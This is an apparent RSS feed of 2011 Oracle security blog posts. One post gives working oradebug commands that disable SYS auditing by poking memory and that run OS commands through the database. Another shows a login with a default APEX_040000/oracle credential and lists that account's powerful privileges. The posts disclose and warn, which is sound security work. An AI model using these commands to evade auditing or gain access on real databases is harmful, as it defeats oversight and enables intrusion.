<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.2.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Alexander Kornbrust Oracle Security Blog</title>
	<link>http://blog.red-database-security.com</link>
	<description>Oracle Security</description>
	<pubDate>Fri, 18 Nov 2011 16:11:49 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.2.1</generator>
	<language>en</language>
			<item>
		<title>DOAG 2011 Presentation &#8220;Best of Oracle Security 2011&#8243;</title>
		<link>http://blog.red-database-security.com/2011/11/18/doag-2011-presentation-best-of-oracle-security-2011/</link>
		<comments>http://blog.red-database-security.com/2011/11/18/doag-2011-presentation-best-of-oracle-security-2011/#comments</comments>
		<pubDate>Fri, 18 Nov 2011 16:11:49 +0000</pubDate>
		<dc:creator>Alexander Kornbrust</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[Oracle Security]]></category>

		<guid isPermaLink="false">http://blog.red-database-security.com/2011/11/18/doag-2011-presentation-best-of-oracle-security-2011/</guid>
		<description><![CDATA[I just uploaded my DOAG 2011 presentation &#8221;Best of Oracle Security 2011&#8220;.
]]></description>
			<content:encoded><![CDATA[<p style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; background-color: #ffffff; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; font: normal normal normal 1em/1.3em Georgia, 'Times New Roman', Times, serif; line-height: normal; padding: 0.5em">I just uploaded my DOAG 2011 presentation &#8221;<a href="http://www.red-database-security.com/wp/best_of_oracle_security_2011.pdf" title="Best of Oracle Security 2011">Best of Oracle Security 2011</a>&#8220;.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.red-database-security.com/2011/11/18/doag-2011-presentation-best-of-oracle-security-2011/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Oracle Critical Patch Update Pre-Release Announcement - October 2011</title>
		<link>http://blog.red-database-security.com/2011/10/15/oracle-critical-patch-update-pre-release-announcement-october-2011/</link>
		<comments>http://blog.red-database-security.com/2011/10/15/oracle-critical-patch-update-pre-release-announcement-october-2011/#comments</comments>
		<pubDate>Sat, 15 Oct 2011 08:20:10 +0000</pubDate>
		<dc:creator>Alexander Kornbrust</dc:creator>
		
		<category><![CDATA[Oracle Security]]></category>

		<guid isPermaLink="false">http://blog.red-database-security.com/2011/10/15/oracle-critical-patch-update-pre-release-announcement-october-2011/</guid>
		<description><![CDATA[Oracle released the Pre-Release Announcement for the Oracle CPU October 2011. The upcoming CPU will fix 4 issues in the Oracle database:


Application Express
Core RDBMS
Database Vault
Oracle Text

 The highest CVSS value is 6.5 (normally a SQL Injection vulnerability). None of the issues is remote exploitable.
]]></description>
			<content:encoded><![CDATA[<p>Oracle released the Pre-Release Announcement for the Oracle <a href="http://www.oracle.com/technetwork/topics/security/cpuoct2011-330135.html" title="Oracle Critical Patch Update Pre-Release Announcement - October 2011">CPU October 2011</a>. The upcoming CPU will fix 4 issues in the Oracle database:</p>
<p><span style="font-size: 11px; font-family: arial, helvetica, sans-serif; line-height: normal" class="Apple-style-span"></p>
<ul style="margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; list-style-type: none; list-style-position: initial; list-style-image: initial; font-family: arial, helvetica, sans-serif; font-size: 12px; color: #000000; padding: 0px">
<li style="margin-top: 0.2em; margin-right: 0px; margin-bottom: 0.2em; margin-left: 25px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 10px; list-style-type: none; list-style-position: initial; list-style-image: initial; font-family: arial, helvetica, sans-serif; font-size: 12px; color: #000000; background-image: url('http://www.oracleimg.com/us/assets/bullet1.gif'); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; background-position: 0px 5px; background-repeat: no-repeat no-repeat">Application Express</li>
<li style="margin-top: 0.2em; margin-right: 0px; margin-bottom: 0.2em; margin-left: 25px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 10px; list-style-type: none; list-style-position: initial; list-style-image: initial; font-family: arial, helvetica, sans-serif; font-size: 12px; color: #000000; background-image: url('http://www.oracleimg.com/us/assets/bullet1.gif'); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; background-position: 0px 5px; background-repeat: no-repeat no-repeat">Core RDBMS</li>
<li style="margin-top: 0.2em; margin-right: 0px; margin-bottom: 0.2em; margin-left: 25px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 10px; list-style-type: none; list-style-position: initial; list-style-image: initial; font-family: arial, helvetica, sans-serif; font-size: 12px; color: #000000; background-image: url('http://www.oracleimg.com/us/assets/bullet1.gif'); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; background-position: 0px 5px; background-repeat: no-repeat no-repeat">Database Vault</li>
<li style="margin-top: 0.2em; margin-right: 0px; margin-bottom: 0.2em; margin-left: 25px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 10px; list-style-type: none; list-style-position: initial; list-style-image: initial; font-family: arial, helvetica, sans-serif; font-size: 12px; color: #000000; background-image: url('http://www.oracleimg.com/us/assets/bullet1.gif'); background-attachment: initial; background-origin: initial; background-clip: initial; background-color: initial; background-position: 0px 5px; background-repeat: no-repeat no-repeat">Oracle Text</li>
</ul>
<p></span> The highest CVSS value is 6.5 (normally a SQL Injection vulnerability). None of the issues is remote exploitable.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.red-database-security.com/2011/10/15/oracle-critical-patch-update-pre-release-announcement-october-2011/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Disable Auditing and running OS commands using oradebug</title>
		<link>http://blog.red-database-security.com/2011/09/17/disable-auditing-and-running-os-commands-using-oradebug/</link>
		<comments>http://blog.red-database-security.com/2011/09/17/disable-auditing-and-running-os-commands-using-oradebug/#comments</comments>
		<pubDate>Sat, 17 Sep 2011 17:29:29 +0000</pubDate>
		<dc:creator>Alexander Kornbrust</dc:creator>
		
		<category><![CDATA[Exploit]]></category>

		<category><![CDATA[Forensics]]></category>

		<category><![CDATA[Oracle Security]]></category>

		<guid isPermaLink="false">http://blog.red-database-security.com/2011/09/17/disable-auditing-and-running-os-commands-using-oradebug/</guid>
		<description><![CDATA[Currently I am staying at the Hacktivity 2011 conference in Budapest. I talked about Oracle Forensics (pdf of the presentation).The second talk was given by Laszlo Toth.  He showed at lot of interesting things, e.g. how to disable Oracle Audit and SYS Auditing using oradebug. His presentation will be available soon on his sooner or [...]]]></description>
			<content:encoded><![CDATA[<p>Currently I am staying at the Hacktivity 2011 conference in Budapest. I talked about Oracle Forensics (<a href="http://www.red-database-security.com/wp/oracle_forensics_101.pdf" title="Oracle Forensics">pdf of the presentation</a>).The second talk was given by Laszlo Toth.  He showed at lot of interesting things, e.g. how to disable Oracle Audit and SYS Auditing using oradebug. His presentation will be available soon on his sooner or later webpage <a href="http://soonerorlater.hu/index.khtml" title="Soonerorlater">soonerorlater.hu</a>.</p>
<p>oradebug is an undocumented (from Oracle) feature in all versions of Oracle which allows powerful activities if you have SYSDBA privileges (and getting SYSDBA privileges is easy as DBA). The peek/poke statement allows to read/modify the memory of the database:</p>
<p>Sample - disable Oracle SYS Auditing:</p>
<p><span style="font-family: 'Courier New', Courier, monospace; font-size: small; line-height: normal" class="Apple-style-span"><br />
</span></p>
<p><span style="font-family: 'Courier New', Courier, monospace; font-size: small; line-height: normal" class="Apple-style-span">sqlplus / as sysdba</span></p>
<p><span style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: small; line-height: normal" class="Apple-style-span"></p>
<p style="font-family: 'Courier New', Courier, monospace">SQL&gt; &#8212; get the offset for oradebug</p>
<p style="font-family: 'Courier New', Courier, monospace">SQL&gt; select fsv.KSMFSNAM,sga.*<br />
from x$ksmfsv fsv, x$ksmmem sga<br />
where sga.addr=fsv.KSMFSADR<br />
and fsv.ksmfsnam like &#8216;kzaflg_%&#8217;;</p>
<p style="font-family: 'Courier New', Courier, monospace">KSMFSNAM ADDR INDX INST_ID KSMMMVAL<br />
&#8212;&#8212;&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;-<br />
kzaflg_ 0000000060031BB0 26652 1 0000000000000001
</p>
<p style="font-family: 'Courier New', Courier, monospace">SQL&gt; show parameter audit;</p>
<p style="font-family: 'Courier New', Courier, monospace">NAME TYPE VALUE<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
audit_file_dest string /u01/app/oracle/admin/PSALES/adump<br />
audit_sys_operations boolean TRUE<br />
audit_syslog_level string<br />
audit_trail string DB, EXTENDED</p>
<p style="font-family: 'Courier New', Courier, monospace">SQL&gt; oradebug poke 0&#215;60031bb0 1 0<br />
BEFORE: [060031BB0, 060031BB4) = 00000001<br />
AFTER: [060031BB0, 060031BB4) = 00000000</p>
<p></span></p>
<p>oradebug can also be used to disable standard auditing. oradebug makes Oracle products like Oracle Auditvault nearly useless because Oracle Auditvault relies on Oracle native auditing. A (SYS)DBA can switch off auditing for a few seconds, do activities without being audited and switch auditing on again. .</p>
<p>Another trick from Laszlo&#8217;s presentation was how to use oradebug to call OS commands via the database</p>
<p><span style="font-family: 'Courier New', Courier, monospace; font-size: small; line-height: normal" class="Apple-style-span">SQL&gt; oradebug call system</span><span style="white-space: pre" class="Apple-tab-span">	</span>&#8220;ls -la &gt;/tmp/hacktivity.txt&#8221;</p>
<p>Later I will talk about Laszlo&#8217;s trick how to disable the Oracle authentication using oradebug.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.red-database-security.com/2011/09/17/disable-auditing-and-running-os-commands-using-oradebug/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Blackhat Training &#8220;HACKING AND SECURING ORACLE (2 days) &#8220;</title>
		<link>http://blog.red-database-security.com/2011/04/13/blackhat-training-hacking-and-securing-oracle-2-days/</link>
		<comments>http://blog.red-database-security.com/2011/04/13/blackhat-training-hacking-and-securing-oracle-2-days/#comments</comments>
		<pubDate>Wed, 13 Apr 2011 09:05:18 +0000</pubDate>
		<dc:creator>Alexander Kornbrust</dc:creator>
		
		<category><![CDATA[Trainings]]></category>

		<category><![CDATA[Exploit]]></category>

		<category><![CDATA[Forensics]]></category>

		<category><![CDATA[Oracle Security]]></category>

		<guid isPermaLink="false">http://blog.red-database-security.com/2011/04/13/blackhat-training-hacking-and-securing-oracle-2-days/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p><iframe src="http://www.youtube.com/embed/ovtMgkh2tAI" title="YouTube video player" frameborder="0" height="390" width="480"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.red-database-security.com/2011/04/13/blackhat-training-hacking-and-securing-oracle-2-days/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Oracle Database 11.2 Express Edition Beta comes with weak default password</title>
		<link>http://blog.red-database-security.com/2011/04/02/oracle-database-112-express-edition-beta-comes-with-weak-default-password/</link>
		<comments>http://blog.red-database-security.com/2011/04/02/oracle-database-112-express-edition-beta-comes-with-weak-default-password/#comments</comments>
		<pubDate>Sat, 02 Apr 2011 11:38:23 +0000</pubDate>
		<dc:creator>Alexander Kornbrust</dc:creator>
		
		<category><![CDATA[Oracle Security]]></category>

		<guid isPermaLink="false">http://blog.red-database-security.com/2011/04/02/oracle-database-112-express-edition-beta-comes-with-weak-default-password/</guid>
		<description><![CDATA[Yesterday Oracle released the first beta of Oracle Database 11.2. Express Edition. I downloaded the beta and after installation I run our database scanner Repscan against it.
It was surprising that Oracle delivers 11.2 Express Edition with a default password for the open APEX_040000.

C:\&#62;sqlplus apex_040000/oracle@192.168.2.38/XE
SQL*Plus: Release 11.1.0.7.0 - Production on Sat Apr 2 13:33:24 2011
Copyright (c) [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday Oracle released the first beta of <a href="http://www.oracle.com/technetwork/database/express-edition/11gxe-beta-download-302519.html" title="Oracle XE 11.2 Beta Download">Oracle Database 11.2. Express Edition</a>. I downloaded the beta and after installation I run our database scanner <a href="http://www.sentrigo.com/repscan" title="Repscan Database Scanner">Repscan</a> against it.</p>
<p>It was surprising that Oracle delivers 11.2 Express Edition with a default password for the open APEX_040000.</p>
<p><font face="courier"><br />
C:\&gt;sqlplus apex_040000/oracle@192.168.2.38/XE</font></p>
<p><font face="courier">SQL*Plus: Release 11.1.0.7.0 - Production on Sat Apr 2 13:33:24 2011</p>
<p>Copyright (c) 1982, 2008, Oracle.  All rights reserved.</p>
<p>Connected to:<br />
Oracle Database 11g Express Edition Release 11.2.0.2.0 - Beta</p>
<p>SQL&gt; desc dba_users<br />
Name                                      Null?    Type<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
USERNAME                                  NOT NULL VARCHAR2(30)<br />
USER_ID                                   NOT NULL NUMBER<br />
PASSWORD                                           VARCHAR2(30)<br />
ACCOUNT_STATUS                            NOT NULL VARCHAR2(32)<br />
LOCK_DATE                                          DATE<br />
EXPIRY_DATE                                        DATE<br />
DEFAULT_TABLESPACE                        NOT NULL VARCHAR2(30)<br />
TEMPORARY_TABLESPACE                      NOT NULL VARCHAR2(30)<br />
CREATED                                   NOT NULL DATE<br />
PROFILE                                   NOT NULL VARCHAR2(30)<br />
INITIAL_RSRC_CONSUMER_GROUP                        VARCHAR2(30)<br />
EXTERNAL_NAME                                      VARCHAR2(4000)<br />
PASSWORD_VERSIONS                                  VARCHAR2(8)<br />
EDITIONS_ENABLED                                   VARCHAR2(1)<br />
AUTHENTICATION_TYPE                                VARCHAR2(8)</p>
<p>SQL&gt; select * from user_role_privs;</p>
<p>USERNAME                       GRANTED_ROLE                   ADM DEF OS_<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; &#8212; &#8212; &#8212;<br />
APEX_040000                    CONNECT                        NO  YES NO<br />
APEX_040000                    RESOURCE                       YES YES NO</p>
<p>SQL&gt; select * from user_sys_privs;</p>
<p>USERNAME                       PRIVILEGE                                ADM<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- &#8212;<br />
APEX_040000                    CREATE TRIGGER                           YES<br />
APEX_040000                    CREATE SYNONYM                           YES<br />
APEX_040000                    UNLIMITED TABLESPACE                     YES<br />
APEX_040000                    ALTER SESSION                            NO<br />
APEX_040000                    CREATE JOB                               YES<br />
APEX_040000                    CREATE DIMENSION                         YES<br />
APEX_040000                    CREATE SEQUENCE                          YES<br />
APEX_040000                    CREATE TABLE                             YES<br />
APEX_040000                    ALTER USER                               NO<br />
APEX_040000                    CREATE USER                              NO<br />
APEX_040000                    CREATE SESSION                           YES<br />
APEX_040000                    CREATE OPERATOR                          YES<br />
APEX_040000                    ALTER DATABASE                           NO<br />
APEX_040000                    DROP USER                                NO<br />
APEX_040000                    CREATE INDEXTYPE                         YES<br />
APEX_040000                    CREATE MATERIALIZED VIEW                 YES<br />
APEX_040000                    CREATE VIEW                              YES<br />
APEX_040000                    CREATE CLUSTER                           YES<br />
APEX_040000                    CREATE ANY CONTEXT                       YES<br />
APEX_040000                    CREATE PROCEDURE                         YES<br />
APEX_040000                    DROP PUBLIC SYNONYM                      NO<br />
APEX_040000                    DROP TABLESPACE                          NO<br />
APEX_040000                    CREATE TABLESPACE                        NO<br />
APEX_040000                    CREATE TYPE                              YES<br />
APEX_040000                    CREATE ROLE                              NO<br />
APEX_040000                    CREATE PUBLIC SYNONYM                    NO</p>
<p>26 rows selected.</p>
<p></font><font face="courier">SQL&gt;<br />
</font><br />
This APEX user has for example ALTER USER privileges and can change the password of any user in the database.</p>
<p>Please change the password of APEX_040000 after the installation of the new 11.2 Express Edition beta.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.red-database-security.com/2011/04/02/oracle-database-112-express-edition-beta-comes-with-weak-default-password/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

